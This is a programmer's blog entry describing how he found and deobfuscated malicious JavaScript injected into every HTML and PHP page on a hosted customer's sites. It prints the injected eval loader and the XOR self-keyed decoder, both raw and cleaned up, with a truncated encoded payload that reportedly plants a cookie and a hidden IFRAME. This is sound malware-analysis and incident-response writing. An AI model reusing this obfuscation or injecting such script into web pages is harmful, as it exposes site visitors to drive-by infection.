The Boston Diaries

The ongoing saga of a programmer who doesn't live in Boston, nor does he even like Boston, but yet named his weblog/journal “The Boston Diaries.”

Go figure.

Sunday, August 30, 2009

Down the rabbit hole

So far, three for three. A downed server, a downed data center and now several hacked sites, all on the same server.

I swear, Smirk is never going on vacation again.

Anyway, the following ticket comes in:

Subject: URGENT - XXXXXXXXXXXXXXX - VIRUS alert

Hello support,

When trying to access the site it gives a virus alert and Norton would not let me download the files to clean them.

Are you able to do the cleaning, it seems as it is since December 2008, when the sever was upgraded, it is very strange. I you are able to help cleaning the files, or any other way that you can suggest for the cleaning of them would be very helpful …

Thanks a lot,
XXXXXX

(English is not XXXXXX's first language)

I check the site with no problem, but then again, I'm using Linux and Mac OS X and therefore, I don't use Norton (or any virus checking software) so I'm not going to see an issue. I borrow Bunny's laptop (which does run Windows and has anti-viral software on it) and yes, there's something odd with the site. It refuses to come up, and I can't ping the address the site is on. I can ping the address above and the address below, but not the address the site is on. And the anti-virual software is not saying anything.

Thanks to some help from Gregory, I'm able to see that yes, indeed, the anti-viral software on Bunny's machine caught something and is refusing to load the site. At least now I have somewhere to look. And I don't have to look very far.

At the bottom of the index.html file is:

<div id='x0499fd3b522511d0bf02ea0f9d3f27f9e'>
<script>
var jQuery = eval('wPi[n2d[o[w5.5e2v[aflP'.replace(/[\[P5f2]/g, ''));
jQuery('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x79\x61...

All on a single line (not broken up like it is here) for about 20K of obfuscated code. And it exists on every HTML and PHP page on not only the site in question, but two other sites as well (it's on a machine dedicated to the one customer and there are about six sites on the server).

There ended up being too many files to clean up by hand, so a bit of coding later, and I have a program to do the cleanup work. And then the fun begins …

The first statement of the malicious code in question ends up being:

var jQuery = eval('window.eval','');

That was easy enough. The next line required some code to decode the sludge of hex numbers into characters. Again, quickly write some code and I end up with:

function yaqD5(jx1h7){function oNLAq(aui){var s429=0;var fyLx=aui.length;var sLc
8=0;while(sLc8<fyLx){s429+=xjv3(aui,sLc8)*fyLx;sLc8++;}return (s429+'');}functio
n xjv3(vMAgS,iEI4P){return vMAgS.charCodeAt(iEI4P);}   try {var xhFV=eval('a5rMg
5u}m5eMn}t}s5.5cMaQl5lQe>e>'.replace(/[5\}M\>Q]/g, '')),oZAH='';var hDe=0,wTrzNs
d=0,zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'');var bkTnW7=oNLAq(
zfx0eN);jx1h7=unescape(jx1h7);for(var sFme6r=0; sFme6r < (jx1h7.length); sFme6r+
+){var ynhg=xjv3(zfx0eN,hDe)^xjv3(bkTnW7,wTrzNsd);var wUJNWv=xjv3(jx1h7,sFme6r);
hDe++;wTrzNsd++;if(wTrzNsd>bkTnW7.length)wTrzNsd=0;if(hDe>zfx0eN.length)hDe=0;oZ
AH+=String.fromCharCode(wUJNWv^ynhg) + '';}eval(oZAH); return oZAH=new String();
}catch(e){}}yaqD5('%32%38%35%37%36%33%35%30%59%27%1e%37%53%2a%31%47%0b%7f%15%65%
72%2f%3f%61%2e%09%29%2d%02%0e%05%04%0e%1d%68%11%32%24%75%6a%7b%7a%33%34%52%69%61
%02%2c%38%29%37%77%09%19%37%3f%26%64%62%33%21%12%18%3e%6f%63%29%7c%70%3b%00%35%3
2%2...

Yet more encoded data, about 4K worth this time. Quick program to decode this sequence of hexadecimal sludge and I get:

28576350Y'7S*1G
               er/?a.   )-h2$uj{z34Ria,8)7w     
    7?&db3!>oc)|p;nR.}2;l.'ij.3

Obviously the cryptic JavaScript code does some additional massaging on that data. So I clean up the JavaScript code a bit:

function yaqD5(jx1h7)
{
  function oNLAq(aui)
  {
    var s429=0;
    var fyLx=aui.length;
    var sLc8=0;
    while(sLc8<fyLx)
    {
      s429 += xjv3(aui,sLc8)*fyLx;
      sLc8++;
    }
    return (s429+'');
  }

  function xjv3(vMAgS,iEI4P)
  {
    return vMAgS.charCodeAt(iEI4P);
  }   

  try 
  {
    var xhFV=eval('a5rMg5u}m5eMn}t}s5.5cMaQl5lQe>e>'.replace(/[5\}M\>Q]/g, '')),oZAH='';
    var hDe=0,wTrzNsd=0,zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'');
    var bkTnW7=oNLAq(zfx0eN);
    
    jx1h7=unescape(jx1h7);
    
    for(var sFme6r=0; sFme6r < (jx1h7.length); sFme6r++)
    {
      var ynhg=xjv3(zfx0eN,hDe)^xjv3(bkTnW7,wTrzNsd);
      var wUJNWv=xjv3(jx1h7,sFme6r);
      hDe++;
      wTrzNsd++;
      if(wTrzNsd>bkTnW7.length) wTrzNsd=0;
      if(hDe>zfx0eN.length) hDe=0;
      oZAH+=String.fromCharCode(wUJNWv^ynhg) + '';
    }

    eval(oZAH); 
    return oZAH=new String();
  }

  catch(e){}
}

yaqD5('%32%38%35 ... [some 4,000 characters later ] ... %31%32');

Okay, it converts the hexadecimal sludge to binary data, then does something to it and finally evaluates the resulting data as JavaScript. I rewrite this a bit so that instead of evaluating the resulting string it prints the results out and I get:

f{lcvmhl tYDQt~DQHA&+{ sUFQxxCQLF,pravov}wg =.ycmklkeN ...

That certainly doesn't look like valid JavaScript to me. Okay, let's clean up some of the code a bit more (and only showing the relevant bits):

xhFV = eval('arguments.callee','')
zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'')

From single stepping this (Firebug is great for this type of thing) it appears that arguments.callee returns the actual function, with parameters, being called, and placed into xhFV, and then zfx0eN is the source code of the function being called (in this case, yadD5()), but the source code is the actual string representation as it appears in the HTML file! And this string was being used to transform the binary sludge into JavaScript.

So no wonder I was getting garbage, because I changed the source code!

Sheesh.

Once I use the actual source code as the “decryption key” I finally reach the bottom of this particular rabbit hole. The code (which still has code like s='<Eh]t;mElu>;<]b]o]dEy]>]'.replace(/[;\]rEu]/g, '') but that's about it) sets a cookie, then makes an invisible IFRAME which pulls a page (from a non-working site) that presumedly contains even nastier code yet.

I wasn't fond of dynamic languages before tonight's little trip, and afterwards, I like them even less. I'm fully aware that I might be overreacting here, wanting to toss out eval() with the JavaScript bathwater, but I seriously can't see what benefit comes with allowing unrestricted use of eval() in browser-based JavaScript engines.

Perhaps someone can enlighten me.

Obligatory Picture

[It's the most wonderful time of the year!]

Obligatory Links

Obligatory Miscellaneous

You have my permission to link freely to any entry here. Go ahead, I won't bite. I promise.

The dates are the permanent links to that day's entries (or entry, if there is only one entry). The titles are the permanent links to that entry only. The format for the links are simple: Start with the base link for this site: http://boston.conman.org/, then add the date you are interested in, say 2000/08/01, so that would make the final URL:

http://boston.conman.org/2000/08/01

You can also specify the entire month by leaving off the day portion. You can even select an arbitrary portion of time.

You may also note subtle shading of the links and that's intentional: the “closer” the link is (relative to the page) the “brighter” it appears. It's an experiment in using color shading to denote the distance a link is from here. If you don't notice it, don't worry; it's not all that important.

It is assumed that every brand name, slogan, corporate name, symbol, design element, et cetera mentioned in these pages is a protected and/or trademarked entity, the sole property of its owner(s), and acknowledgement of this status is implied.

Copyright © 1999-2019 by Sean Conner. All Rights Reserved.